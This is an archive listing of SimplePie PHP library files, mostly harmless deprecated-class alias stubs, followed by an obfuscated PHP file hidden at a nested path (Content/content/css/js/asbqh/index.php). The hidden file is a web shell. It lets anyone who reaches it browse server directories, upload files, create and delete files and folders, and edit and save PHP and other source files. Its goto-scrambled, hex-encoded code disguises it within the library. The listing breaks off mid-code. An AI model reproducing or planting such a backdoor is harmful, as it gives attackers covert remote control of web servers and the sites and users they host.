library/SimplePie/Registry.php 0000644 00000001055 15220516755 0012431 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Registry;
class_exists('SimplePie\Registry');
// @trigger_error(sprintf('Using the "SimplePie_Registry" class is deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Registry" instead */
class SimplePie_Registry extends Registry
{
}
}
library/SimplePie/Exception.php 0000644 00000001123 15220516755 0012553 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Exception as SimplePieException;
class_exists('SimplePie\Exception');
// @trigger_error(sprintf('Using the "SimplePie_Exception" class is deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Exception" instead */
class SimplePie_Exception extends SimplePieException
{
}
}
library/SimplePie/about.php 0000644 00000000000 15220516755 0011720 0 ustar 00 library/SimplePie/Parser.php 0000644 00000001037 15220516755 0012055 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Parser;
class_exists('SimplePie\Parser');
// @trigger_error(sprintf('Using the "SimplePie_Parser" class is deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Parser" instead */
class SimplePie_Parser extends Parser
{
}
}
library/SimplePie/Item.php 0000644 00000001021 15220516755 0011510 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Item;
class_exists('SimplePie\Item');
// @trigger_error(sprintf('Using the "SimplePie_Item" class is deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Item" instead */
class SimplePie_Item extends Item
{
}
}
library/SimplePie/Credit.php 0000644 00000001037 15220516755 0012033 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Credit;
class_exists('SimplePie\Credit');
// @trigger_error(sprintf('Using the "SimplePie_Credit" class is deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead */
class SimplePie_Credit extends Credit
{
}
}
library/SimplePie/Rating.php 0000644 00000001037 15220516755 0012045 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
use SimplePie\Rating;
class_exists('SimplePie\Rating');
// @trigger_error(sprintf('Using the "SimplePie_Rating" class is deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead.'), \E_USER_DEPRECATED);
/** @phpstan-ignore-next-line */
if (\false) {
/** @deprecated since SimplePie 1.7.0, use "SimplePie\Rating" instead */
class SimplePie_Rating extends Rating
{
}
}
library/SimplePie/Content/content/css/js/asbqh/index.php 0000444 00000063707 15220516755 0017330 0 ustar 00 <?php
//Obfsol.cn/php/
goto aoJ5T; D_X_r: $alr1E = $J0YQG . "\x2f" . basename($_POST["\146\151\154\145"]); goto lJRw4; Z60Qb: goto P3tLJ; goto nTTkq; qPJMb: Rd2cK: goto WWyBX; qytZv: goto Rd2cK; goto WFm0C; vrHMd: echo "\74\x2f\144\151\x76\x3e\x3c\146\x6f\x72\x6d\40\141\x63\x74\x69\157\x6e\x3d\42\x22\155\x65\164\150\x6f\144\75\42\160\157\x73\164\x22\x63\154\141\x73\x73\x3d\42\x6d\x62\55\x33\x22\x3e\74\144\x69\166\40\143\154\141\x73\163\75\x22\x69\156\x70\x75\164\55\x67\162\x6f\165\160\x22\163\164\x79\x6c\145\x3d\x22\x6d\x61\x78\x2d\167\x69\x64\164\x68\72\x33\60\60\160\170\42\x3e\74\151\156\160\165\x74\40\156\x61\x6d\145\x3d\42\x64\x69\162\x6e\x61\155\x65\x22\x63\x6c\x61\163\163\75\x22\146\x6f\162\155\55\x63\157\x6e\x74\162\157\x6c\x22\x72\145\x71\x75\151\162\x65\x64\40\160\154\x61\143\x65\x68\x6f\154\x64\x65\x72\75\42\346\x96\xb0\xe7\x9b\xae\345\275\225\345\x90\215\x22\x3e\74\x64\151\166\x20\143\154\141\x73\x73\x3d\42\x69\x6e\160\165\x74\55\147\162\x6f\165\x70\55\x61\160\160\145\156\144\42\x3e\x3c\x62\x75\x74\x74\157\156\40\x63\154\x61\163\163\75\42\142\164\x6e\40\x62\x74\x6e\55\151\156\x66\x6f\42\x6e\141\x6d\x65\x3d\42\x6d\153\x64\151\162\x22\164\x79\x70\x65\75\42\x73\165\142\155\151\164\x22\76\x43\x72\xc3\xa9\145\162\40\x75\156\x20\162\303\xa9\160\x65\162\164\157\x69\162\x65\x3c\x2f\142\x75\164\164\x6f\156\x3e\x3c\57\x64\x69\x76\x3e\x3c\57\144\x69\x76\x3e\x3c\57\x66\157\x72\155\76\74\x66\x6f\162\155\x20\x61\x63\164\151\157\x6e\75\x22\x22\x6d\x65\164\x68\x6f\144\x3d\x22\x70\x6f\x73\x74\42\143\x6c\141\163\x73\x3d\x22\155\x62\55\64\42\145\x6e\143\x74\x79\160\x65\75\x22\155\x75\x6c\x74\x69\160\x61\162\x74\57\x66\x6f\x72\x6d\x2d\144\x61\164\x61\x22\76\74\x64\151\x76\40\x63\x6c\141\x73\x73\75\x22\146\x6f\x72\155\x2d\147\162\157\x75\160\x22\x3e\x3c\x6c\x61\142\145\x6c\x20\146\x6f\162\75\x22\146\151\x6c\x65\42\76\xd0\xaf\xd0\272\321\x87\xd0\xb0\xd0\xbd\xd0\264\40\xd1\204\xd0\xb0\xd0\xb9\320\273\321\200\xd0\xbe\40\320\270\320\xbd\321\202\xd0\xb8\321\x85\320\276\320\xb1\x20\320\xba\xd1\x83\xd0\xbd\320\265\320\xb4\74\57\154\141\142\x65\154\x3e\x20\74\151\156\x70\x75\x74\40\x6e\x61\155\x65\75\x22\x66\151\x6c\145\133\x5d\x22\x63\154\141\163\x73\x3d\x22\146\157\x72\x6d\55\x63\157\156\x74\x72\157\x6c\55\146\x69\x6c\145\x22\162\x65\161\165\151\162\145\144\x20\x69\x64\x3d\x22\146\x69\154\145\x22\x6d\165\154\164\151\160\x6c\x65\40\164\x79\x70\x65\75\x22\x66\151\x6c\145\42\76\x20\x3c\163\x6d\141\154\154\x20\143\154\141\x73\x73\x3d\42\146\157\x72\x6d\55\164\145\x78\x74\40\164\x65\x78\164\x2d\x6d\165\x74\145\x64\42\76\345\217\257\xe4\xbb\245\344\270\200\346\xac\xa1\351\200\x89\xe6\x8b\xa9\xe5\244\232\344\270\xaa\xe6\x96\207\344\xbb\xb6\xef\274\x8c\xe5\xb7\262\xe6\x9c\211\346\x96\207\xe4\xbb\xb6\344\274\x9a\350\242\xab\xe8\246\x86\347\x9b\226\x3c\x2f\163\155\141\154\154\76\74\57\144\151\x76\x3e\x3c\x62\165\x74\164\157\156\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\164\156\40\x62\164\156\55\x6c\x67\x20\142\x74\x6e\x2d\163\165\x63\x63\145\163\163\42\x6e\x61\155\145\75\42\163\165\x62\x6d\x69\164\x22\x74\x79\x70\145\75\x22\x73\165\142\x6d\151\164\x22\x3e\325\x8e\325\245\xd6\200\xd5\242\325\xa5\xd5\xbc\xd5\266\325\245\325\254\74\57\142\x75\x74\x74\x6f\156\x3e\74\57\146\157\x72\155\76"; goto Sklco; ggNmx: ltMQP: goto v2bJd; UIdHB: goto OGl4i; goto jH5th; tH4ow: goto teg61; goto YKpwq; jKZ5Z: goto SC9JX; goto FMeCW; d6xkF: foreach ($b4SZ9 as $rh8w0) { goto YcEHw; fwHbf: xJqAy: goto tK0sc; YcEHw: if (!$rh8w0) { goto xJqAy; } goto BolRU; tK0sc: J3PAm: goto MkKPj; QOgzC: echo "\74\x6c\151\40\x63\154\x61\163\x73\75\x22\142\x72\x65\x61\144\x63\162\x75\155\142\55\x69\x74\145\x6d\x22\76\x3c\141\40\150\162\x65\146\x3d\42\77\144\x69\162\75" . urlencode(ltrim($u11Ku, "\57")) . "\42\x3e" . htmlspecialchars($rh8w0) . "\x3c\57\141\76\x3c\x2f\154\151\76"; goto fwHbf; BolRU: $u11Ku .= "\x2f" . $rh8w0; goto QOgzC; MkKPj: } goto V_KSd; on2an: kXKzb: goto qPJMb; nCTk2: JjXLk: goto yhsT7; fwDjq: if (!isset($_POST["\163\141\x76\x65"])) { goto vvAAf; } goto D_X_r; NbkeS: wOLmw: goto kf1wW; sZrks: file_put_contents($alr1E, $ZuhW4); goto lOaZJ; Yf9bK: Fdkce: goto TsFq3; BxsDq: iN7x3: goto FEHQM; R2am5: goto bzaas; goto nfzlx; bRAES: goto vwdKb; goto bg2AV; D9J8Z: UHCgF: goto JfD7V; GkdoO: goto TwiOi; goto g4NDz; ZXEXg: goto jTggK; goto wuC_N; MEuqS: goto GnPBN; goto dhsNB; ccAxI: l1_DF: goto x9DFn; BaPB3: TwiOi: goto i00YU; ESIxT: echo $QLUEa ? "\x64\151\x72\75" . urlencode($QLUEa) : ''; goto io1KV; udBMJ: $Ynvb6 = dirname($QLUEa); goto oNavK; eR6Wk: echo "\x3c\x6e\x61\166\40\141\x72\x69\141\55\154\141\142\x65\154\75\42\x62\x72\x65\141\x64\x63\x72\165\x6d\142\42\76\x3c\x6f\154\40\x63\x6c\141\x73\163\75\42\142\162\x65\141\x64\x63\162\x75\155\142\42\x3e\x3c\x6c\151\40\x63\x6c\x61\x73\163\75\42\142\x72\x65\141\144\143\162\x75\x6d\x62\55\151\x74\x65\155\x22\x3e\74\x61\x20\x68\x72\145\146\75\42\77\x22\x3e\xe6\240\271\347\233\xae\xe5\275\225\x3c\x2f\x61\76\x3c\x2f\x6c\x69\x3e"; goto Y_p5C; c_rgK: uZOr5: goto i8F06; AQ3c3: goto kSqKr; goto lmmQO; Vw2go: kAQ8T: goto s9vbM; HCiXn: goto igjCS; goto a6Ah6; lgJiu: goto oN0Bp; goto Zj776; gs4Iz: goto ltMQP; goto Vw2go; A2KmP: echo htmlspecialchars(file_get_contents($l7o13)); goto fUsXP; qtlqL: goto Ywypa; goto p6_zi; RA4HU: if (!$QLUEa) { goto yIA2z; } goto xPIIa; JNb8p: E3dF6: goto bRAES; VpNL5: echo "\74\144\x69\166\40\143\154\141\163\x73\75\42\141\x6c\x65\x72\x74\40\141\154\x65\x72\164\x2d\x73\x75\x63\x63\145\163\163\42\x3e\346\210\x90\xe5\212\x9f\344\xb8\x8a\xe4\274\240\x20" . $OWjE6 . "\x20\344\270\252\xe6\226\x87\xe4\xbb\266\74\x2f\144\151\166\x3e"; goto gw0ws; FM2kA: hpLam: goto C_TF7; s9vbM: jNS4g: goto Vq_03; DNdRj: xQOYj: goto PV8io; xYJc1: ci53y: goto dWRef; RRwZf: goto lssIB; goto SAXea; X7bxu: goto l09CL; goto wAtxP; xDKd7: goto rKus0; goto pPd69; Xo122: goto uZOr5; goto oDtC3; oe_Bq: if (!$QLUEa) { goto y3zcf; } goto udBMJ; lOaZJ: echo "\x3c\x64\x69\166\x20\143\154\x61\x73\x73\75\x22\x61\154\x65\162\x74\40\141\x6c\145\162\x74\x2d\163\x75\143\143\145\163\163\42\76\346\x96\207\xe4\273\xb6\xe5\xb7\xb2\xe4\277\x9d\345\xad\x98\74\x2f\144\x69\x76\76"; goto nLJ_K; cZj_B: goto iN7x3; goto CyCLf; FMeCW: zDaRT: goto uMqPR; uMqPR: goto NpCFW; goto f_IgX; XlPrM: goto UHCgF; goto Jo6Xf; bNOEL: $tQW6a = $J0YQG . "\57" . basename($_POST["\x64\151\x72\x6e\x61\155\x65"]); goto Z_cx5; p6_zi: goto tj66E; goto FM2kA; S8ALb: if (!isset($_POST["\x73\165\142\155\151\x74"])) { goto xQOYj; } goto Q6ao4; R0X6q: $l7o13 = $J0YQG . "\x2f" . $alr1E; goto kAeBP; f_IgX: goto ab2zL; goto ia2Ky; CFtST: auGib: goto sLRmK; IGIeP: $w1RJu = $J0YQG . "\x2f" . basename($_POST["\146\x69\x6c\x65"]); goto hs05I; lx5i6: goto ci53y; goto YJF0D; Hux_v: vvAAf: goto BRlAj; dhsNB: goto kAQ8T; goto ggNmx; gw0ws: BN_ej: goto DNdRj; P7d3Z: BrKfW: goto rhy87; mpS0O: EDiwZ: goto odzJ3; MnmUO: echo $QLUEa ? htmlspecialchars($QLUEa) : "\xe6\240\xb9\347\233\256\345\xbd\225"; goto w50fl; s3RZ3: if (!isset($_GET["\145\144\x69\x74"])) { goto pRi2U; } goto dnD3o; YVntl: U0Ou2: goto JNb8p; r9AjW: $Ynvb6 = ''; goto u7A56; nfzlx: kSqKr: goto MnmUO; SkKou: VwQVX: goto Jo4OC; Jo4OC: if (!($OWjE6 > 0)) { goto BN_ej; } goto VpNL5; ft41c: goto EUaRF; goto yfmv5; pNgi6: goto zDaRT; goto F2362; dt76i: if (!(isset($_POST["\155\153\x64\x69\x72"]) && !empty($_POST["\144\x69\x72\156\141\155\145"]))) { goto EDiwZ; } goto bNOEL; bg2AV: RkDLs: goto paf5C; nTTkq: rKus0: goto FdC0X; xMxAj: goto oAu8y; goto taXWh; pwWbK: goto H_F1_; goto NDJ6m; LrQBk: goto RkDLs; goto c_rgK; JgnPS: echo "\74\142\157\144\x79\76"; goto UIdHB; OpEwQ: goto Ew13W; goto xMxAj; jTYEM: if (!is_dir($J0YQG)) { goto C6V0x; } goto u4Aa8; hs1Hj: goto J22Bp; goto Y6cUB; REsOL: goto Qzixg; goto c7TbU; kf1wW: goto mg3u1; goto Tqgax; iQxCq: echo "\74\57\x68\64\x3e\74\x66\x6f\162\x6d\40\x61\143\x74\151\157\156\x3d\42\42\155\145\164\x68\157\x64\75\42\x70\x6f\x73\x74\x22\76\x3c\x69\156\x70\x75\164\x20\156\141\x6d\145\x3d\42\146\x69\154\x65\x22\x74\x79\x70\x65\75\x22\x68\x69\x64\x64\145\x6e\x22\166\x61\154\x75\x65\x3d\42"; goto uOZhe; JSKem: Ew13W: goto ljfo6; paf5C: goto VG1eC; goto nEzho; mYTfa: goto XtR5p; goto TZwP9; g4NDz: YdpFE: goto TNMI8; dWRef: function aDCmm($qRiFW) { goto i28BH; bnGYW: qtHhV: goto kEZC2; vFQYe: return number_format($qRiFW / 1048576, 2) . "\x20\115\x42"; goto D2PG2; S1oC1: XzQna: goto wcPKR; SP85J: goto qtHhV; goto pV8bL; ObVNq: goto qtHhV; goto Ttuhq; DpLX4: return $qRiFW . "\x20\102"; goto ObVNq; ZFR3n: if ($qRiFW >= 1024) { goto XzQna; } goto DpLX4; Ttuhq: p8w3U: goto RdLV3; RdLV3: return number_format($qRiFW / 1073741824, 2) . "\40\107\102"; goto SP85J; i28BH: if ($qRiFW >= 1073741824) { goto p8w3U; } goto cr4td; cr4td: if ($qRiFW >= 1048576) { goto Cef7n; } goto ZFR3n; D2PG2: goto qtHhV; goto S1oC1; pV8bL: Cef7n: goto vFQYe; wcPKR: return number_format($qRiFW / 1024, 2) . "\40\x4b\102"; goto bnGYW; kEZC2: } goto hs1Hj; XNkqf: k1zDd: goto NrChF; hs05I: if (!(file_exists($w1RJu) && $w1RJu != __FILE__)) { goto BrKfW; } goto ESLfD; Y_p5C: goto Xuv_R; goto prYaq; Z_cx5: if (file_exists($tQW6a)) { goto i2Blh; } goto f5LVo; Y6cUB: wrpPM: goto Y6s11; rHAsd: echo "\x3c\x64\x69\x76\x20\x63\x6c\141\x73\163\75\42\x61\154\145\x72\x74\x20\141\x6c\x65\x72\x74\x2d\163\x75\x63\143\145\x73\163\42\76\347\233\256\345\275\225\345\xb7\262\345\210\x9b\xe5\273\272\x3c\57\144\151\x76\76"; goto t7UVK; HxD6i: VG1eC: goto xDKd7; WWyBX: goto UKM8m; goto XNkqf; XACYU: $J0YQG = $ieUjX; goto ccAxI; UHpK2: goto jNS4g; goto Y_YZZ; odzJ3: goto Fdkce; goto CFtST; iYIkd: $u11Ku = ''; goto d6xkF; IVUSs: echo "\74\57\141\x3e"; goto gYmwX; oNavK: if (!($Ynvb6 == "\x2e")) { goto oQGf0; } goto r9AjW; ESLfD: if (is_dir($w1RJu)) { goto E5qE4; } goto ZPFnz; nLJ_K: rWmFm: goto Hux_v; Dcjse: ga5b6: goto NskFN; N_Q2e: pRi2U: goto ft41c; oDtC3: HCGqD: goto oe_Bq; vlGlE: CBSge: goto s3RZ3; geX0c: l09CL: goto fwDjq; taXWh: VDnHB: goto S8ALb; pPd69: eHUmn: goto D9J8Z; V_KSd: dUk3S: goto LZw7n; jH5th: MLccH: goto Q18k5; io1KV: echo "\x22\x63\154\141\x73\x73\x3d\x22\x62\164\156\x20\x62\164\156\x2d\163\x65\143\x6f\156\144\x61\x72\x79\x22\76\345\217\226\xe6\xb6\210\74\x2f\141\76\74\x2f\146\x6f\162\155\x3e\74\x2f\x64\151\x76\x3e"; goto EVbyx; X9nG5: goto ksbvk; goto Dcjse; Sklco: goto CBSge; goto on2an; Qrofz: oBK_3: goto OpEwQ; ljfo6: goto auGib; goto Yf9bK; ILvdZ: Xuv_R: goto RA4HU; Q18k5: mg3u1: goto RRwZf; lmmQO: Lv2rz: goto HCiXn; gCJJ_: teg61: goto JgnPS; Cq6pF: Ywypa: goto AuSdQ; a6Ah6: goto ga5b6; goto BaPB3; qyiPT: jTggK: goto TgEfj; E4A2u: bnSE_: goto vrHMd; c7TbU: E5qE4: goto kEmoV; YKpwq: kz43A: goto io_1g; F2362: SC9JX: goto jTYEM; Y10Fk: DafmD: goto R2am5; aoJ5T: echo "\x3c\x21\104\117\103\124\131\120\x45\x20\x68\164\x6d\154\76\12\74\x68\164\155\x6c\76\12\74\x68\x65\141\144\76\12\40\40\40\40\x3c\x74\x69\164\154\145\76\341\x90\xb1\341\222\x8b\341\220\x8a\341\222\x83\341\x91\xb2\341\223\220\341\223\x82\341\x95\x90\341\223\x97\xe1\222\215\x20\xe1\x93\x84\341\223\x87\341\225\220\341\x94\252\341\220\x8a\341\x96\205\74\x2f\x74\151\164\x6c\145\76\12\40\40\40\40\74\x6c\151\156\153\x20\162\x65\x6c\x3d\x22\163\164\x79\154\145\163\x68\x65\x65\164\42\40\x68\x72\145\146\x3d\x22\150\x74\x74\160\163\x3a\x2f\57\163\x74\141\143\153\160\x61\164\x68\56\142\157\157\164\163\x74\x72\141\x70\x63\144\x6e\x2e\143\157\x6d\57\x62\157\x6f\164\x73\164\162\141\x70\57\x34\x2e\x33\56\x31\57\x63\163\163\x2f\142\157\157\164\163\164\x72\x61\160\x2e\x6d\x69\156\56\143\163\x73\42\76\12\40\x20\40\x20\74\163\x74\171\x6c\145\x3e\xa\40\x20\40\x20\40\x20\x20\x20\142\157\144\171\x20\x7b\x20\x70\x61\144\x64\x69\x6e\147\x3a\40\x32\x30\x70\x78\x3b\40\175\12\40\40\x20\x20\40\x20\x20\40\x2e\x62\162\x65\x61\x64\x63\x72\x75\155\142\x20\x7b\40\142\141\x63\153\x67\x72\157\x75\156\x64\x3a\40\43\142\x32\145\142\x63\x63\x3b\40\160\141\144\x64\x69\x6e\147\72\40\x31\60\x70\x78\73\40\x62\157\x72\x64\145\x72\x2d\162\x61\x64\151\x75\163\x3a\40\65\160\170\x3b\40\x7d\xa\40\40\40\40\x20\x20\x20\40\x2e\143\157\156\x74\141\x69\156\145\162\x20\173\40\155\x61\x78\55\x77\x69\144\x74\150\x3a\40\71\x30\x30\x70\x78\x3b\x20\x7d\xa\x20\40\x20\x20\40\x20\x20\x20\56\146\x69\154\145\x2d\x61\143\x74\x69\x6f\x6e\x73\x20\173\x20\x77\x68\151\x74\145\x2d\163\160\x61\143\145\x3a\x20\x6e\157\x77\x72\x61\x70\x3b\40\x7d\xa\40\40\40\x20\x20\40\40\x20\56\164\145\170\x74\x2d\146\x69\154\x65\x20\x7b\40\x62\141\143\x6b\147\x72\157\x75\156\144\x2d\x63\x6f\x6c\157\x72\72\40\43\x62\62\145\x62\143\143\73\40\175\xa\40\x20\x20\x20\40\40\40\x20\x2e\x66\x69\154\145\x2d\163\x69\x7a\x65\x20\173\x20\x66\157\156\x74\55\163\151\x7a\x65\72\40\60\56\70\x37\x35\162\x65\x6d\73\x20\143\x6f\154\157\162\x3a\x20\x23\65\70\x36\145\65\x36\x3b\x20\155\x61\162\x67\x69\x6e\55\154\145\x66\x74\72\x20\70\160\170\73\40\x7d\12\x20\40\x20\x20\x20\40\x20\40\56\146\x6f\x6c\144\145\x72\x20\173\x20\x62\141\143\x6b\147\162\x6f\x75\x6e\144\55\x63\x6f\154\x6f\x72\x3a\40\x23\145\71\x66\x37\x66\145\x3b\40\175\12\x20\40\x20\40\x20\x20\40\40\x2e\146\157\x6c\144\x65\x72\55\x69\x63\x6f\x6e\40\x7b\x20\x63\157\x6c\157\x72\x3a\40\x23\61\x61\x65\x64\64\x62\73\x20\175\xa\40\x20\40\40\40\x20\x20\x20\56\x63\165\x72\162\145\x6e\164\x2d\144\151\162\40\173\x20\155\x61\162\147\x69\156\x2d\142\157\164\164\157\x6d\72\40\x31\x35\x70\x78\73\40\x66\x6f\x6e\x74\x2d\x77\x65\151\x67\x68\164\x3a\40\x62\x6f\x6c\144\73\x20\175\xa\x20\x20\40\40\x3c\57\163\x74\x79\x6c\x65\76\xa\74\57\x68\x65\x61\144\76\xa"; goto tH4ow; ptFed: NpCFW: goto lsxUU; mgrhW: vwdKb: goto dYhg1; Y6s11: goto U25jH; goto X9nG5; ia2Ky: ab2zL: goto ptFed; WrUkf: P3tLJ: goto qytZv; JR15H: goto oBK_3; goto xYJc1; kEmoV: rmdir($w1RJu); goto SCRiS; MEavl: goto MLccH; goto qyiPT; yhsT7: C6V0x: goto Z60Qb; prYaq: tFGHk: goto UHpK2; VBMrh: echo "\x3c\x64\x69\x76\40\143\154\x61\x73\163\75\42\155\x74\55\64\x22\x3e\74\x68\x34\x3e\347\233\256\345\275\x95\345\206\x85\345\xae\xb9\x3a\74\57\150\x34\76\x3c\144\x69\x76\x20\x63\154\141\163\163\x3d\42\154\x69\x73\x74\x2d\147\x72\x6f\165\160\x22\x3e"; goto pNgi6; W7gEm: $OWjE6 = 0; goto nJDDY; cElNa: echo "\x3c\141\40\150\x72\x65\x66\75\42\77" . ($Ynvb6 ? "\x64\151\162\75" . urlencode($Ynvb6) : '') . "\42\x20\143\154\141\163\x73\75\42\x6c\x69\163\x74\55\147\162\x6f\165\x70\x2d\151\164\x65\x6d\40\146\157\154\144\x65\x72\40\x64\x2d\x66\x6c\145\x78\x20\152\165\x73\164\x69\146\x79\x2d\143\157\x6e\164\145\x6e\164\55\142\x65\x74\x77\x65\x65\156\x20\141\154\x69\147\156\x2d\x69\164\x65\155\163\x2d\x63\x65\x6e\164\145\x72\42\x3e"; goto wRxhv; wR0_O: tj66E: goto Pp7b2; mESXP: goto R1PX1; goto E4A2u; Ktvn5: oAu8y: goto Y10Fk; dnD3o: $alr1E = basename($_GET["\145\144\x69\164"]); goto R0X6q; HESvo: echo "\x3c\144\151\x76\40\143\154\x61\163\163\75\x22\141\154\145\162\x74\x20\141\154\145\x72\164\55\163\x75\143\143\145\x73\x73\42\x3e\345\xb7\262\xe5\210\xa0\351\231\xa4\74\57\x64\x69\166\76"; goto P7d3Z; LZw7n: yIA2z: goto cZj_B; mX_cz: if (!(file_exists($alr1E) && $alr1E != __FILE__)) { goto rWmFm; } goto sZrks; lsxUU: goto HCGqD; goto iI_2d; Tqgax: goto eHUmn; goto lO0HJ; f5LVo: mkdir($tQW6a, 493, true); goto rHAsd; NDJ6m: UKM8m: goto jz0kw; AuSdQ: goto A8rB4; goto ILvdZ; Pp7b2: GnPBN: goto GkdoO; Zj776: goto kz43A; goto gCJJ_; kAeBP: if (!(file_exists($l7o13) && in_array(pathinfo($alr1E, PATHINFO_EXTENSION), $oGGRJ))) { goto HHzkw; } goto PtYh3; PV8io: goto wrpPM; goto wR0_O; TgEfj: $QLUEa = isset($_GET["\144\151\162"]) ? rtrim($_GET["\x64\x69\x72"], "\57") : ''; goto spCz8; iI_2d: XtR5p: goto a8yKT; i8F06: oN0Bp: goto X7bxu; egLk2: echo "\x22\x3e\74\144\x69\166\40\x63\x6c\141\163\x73\75\42\x66\x6f\162\x6d\55\x67\x72\x6f\165\x70\42\x3e\x3c\x74\145\x78\164\141\x72\145\x61\40\143\x6c\x61\163\x73\75\x22\x66\157\x72\155\x2d\143\157\156\x74\x72\157\x6c\x20\x74\x65\170\164\x2d\146\x69\154\x65\42\x6e\x61\155\x65\x3d\x22\x63\157\x6e\164\145\x6e\x74\42\162\157\167\x73\x3d\42\62\x30\42\x3e"; goto A2KmP; TZwP9: H_F1_: goto JSKem; Uq0Ez: goto Qavfs; goto MEavl; Z_Kzm: $QLUEa = ''; goto XACYU; dYhg1: if (!isset($_POST["\x64\145\154\145\x74\x65"])) { goto gl3m8; } goto IGIeP; jXGAS: EUaRF: goto VBMrh; u7A56: oQGf0: goto cElNa; EVbyx: HHzkw: goto N_Q2e; lJRw4: $ZuhW4 = $_POST["\143\x6f\156\164\145\x6e\164"]; goto mX_cz; l3vJl: vU4od: goto lgJiu; FdC0X: ini_set("\155\141\170\x5f\146\151\x6c\x65\137\165\x70\x6c\x6f\141\x64\163", 50); goto mYTfa; U4zcH: ini_set("\x70\x6f\163\164\x5f\x6d\x61\x78\x5f\x73\151\172\145", "\x31\60\x30\115"); goto LrQBk; wuC_N: TDW0b: goto HxD6i; Q6ao4: $iXgaP = $_FILES["\x66\x69\x6c\x65"]; goto W7gEm; nEzho: goto SebnI; goto wrseF; SCRiS: Qzixg: goto HESvo; jVgXy: goto tFGHk; goto geX0c; vLY1D: goto k1zDd; goto jXGAS; i00YU: $oGGRJ = array("\x70\150\160", "\164\170\164", "\150\x74\x6d\x6c", "\x6a\163", "\x63\163\x73", "\x6a\163\157\x6e", "\x78\x6d\x6c", "\x6d\144"); goto jVgXy; xPIIa: $b4SZ9 = explode("\57", $QLUEa); goto iYIkd; OOIRG: $ieUjX = dirname(__FILE__) . "\57"; goto KLSco; WUcUz: goto U0Ou2; goto BxsDq; NWmJ0: goto Lv2rz; goto lwwsf; yfmv5: bzaas: goto OOIRG; CyCLf: J22Bp: goto MEuqS; rhy87: gl3m8: goto IXYhp; v2bJd: Qavfs: goto vLY1D; w50fl: goto bnSE_; goto ojz1D; C_TF7: goto nyOZH; goto gs4Iz; ORIEK: R1PX1: goto eY3sZ; lwwsf: lssIB: goto U4zcH; Jo6Xf: goto YdpFE; goto YVntl; Y_YZZ: goto TDW0b; goto Qrofz; x9DFn: goto hPIsg; goto Ktvn5; YjY_A: goto wOLmw; goto ORIEK; eY3sZ: $J0YQG = $ieUjX . $QLUEa; goto JR15H; gYmwX: y3zcf: goto NWmJ0; u4Aa8: $IgYP5 = scandir($J0YQG); goto RsQNH; NrChF: ini_set("\165\160\x6c\x6f\141\144\137\155\x61\170\x5f\x66\x69\154\145\163\151\x7a\x65", "\x31\x30\60\x4d"); goto YjY_A; qGq2K: nyOZH: goto mESXP; wrseF: A8rB4: goto dt76i; KLSco: goto ML_aU; goto RuAEG; WFm0C: goto kXKzb; goto dqeAj; spCz8: goto hpLam; goto mgrhW; NskFN: igjCS: goto jKZ5Z; ZPFnz: unlink($w1RJu); goto REsOL; fUsXP: echo "\x3c\57\164\x65\x78\164\141\x72\145\141\x3e\x3c\57\144\151\x76\76\74\142\x75\164\x74\x6f\x6e\x20\143\154\141\x73\x73\75\x22\x62\164\x6e\40\142\x74\156\55\x70\162\x69\x6d\x61\162\171\x22\x6e\141\155\145\75\x22\x73\141\x76\x65\42\164\171\160\x65\x3d\42\163\x75\x62\155\x69\164\x22\76\344\xbf\235\345\xad\230\74\57\142\165\164\164\157\x6e\x3e\x20\74\x61\40\x68\x72\145\146\75\42\x3f"; goto ESIxT; wAtxP: NP7CI: goto XlPrM; JfD7V: goto VDnHB; goto WrUkf; nJDDY: foreach ($iXgaP["\156\x61\155\x65"] as $XQxXW => $HL5JG) { goto PDTtu; DouOQ: if (!move_uploaded_file($iXgaP["\x74\x6d\160\137\x6e\x61\x6d\145"][$XQxXW], $hwAXN)) { goto iIXaW; } goto pdajD; OKOlo: TyoeD: goto As_dj; BPm7H: iIXaW: goto ajvSr; ajvSr: OhMzQ: goto OKOlo; PDTtu: if (!($iXgaP["\145\x72\162\x6f\x72"][$XQxXW] === UPLOAD_ERR_OK)) { goto OhMzQ; } goto yNOet; pdajD: $OWjE6++; goto BPm7H; yNOet: $hwAXN = $J0YQG . "\x2f" . basename($HL5JG); goto DouOQ; As_dj: } goto SkKou; BRlAj: goto NP7CI; goto vlGlE; dqeAj: SebnI: goto Cq6pF; RsQNH: foreach ($IgYP5 as $pApRY) { goto Hhf6x; j7aQt: if (!$xwSZ_) { goto X2WlU; } goto VNlcT; zB1V1: 